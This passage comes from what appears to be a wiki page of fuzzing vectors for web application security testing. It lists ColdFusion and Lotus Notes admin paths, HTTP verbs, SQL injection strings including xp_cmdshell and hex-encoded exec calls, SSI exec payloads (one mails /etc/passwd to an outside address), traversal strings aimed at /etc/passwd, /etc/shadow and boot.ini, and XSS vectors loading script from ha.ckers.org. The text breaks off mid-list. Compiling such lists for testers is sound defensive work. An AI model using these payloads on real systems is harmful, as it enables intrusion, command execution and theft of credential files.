CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> 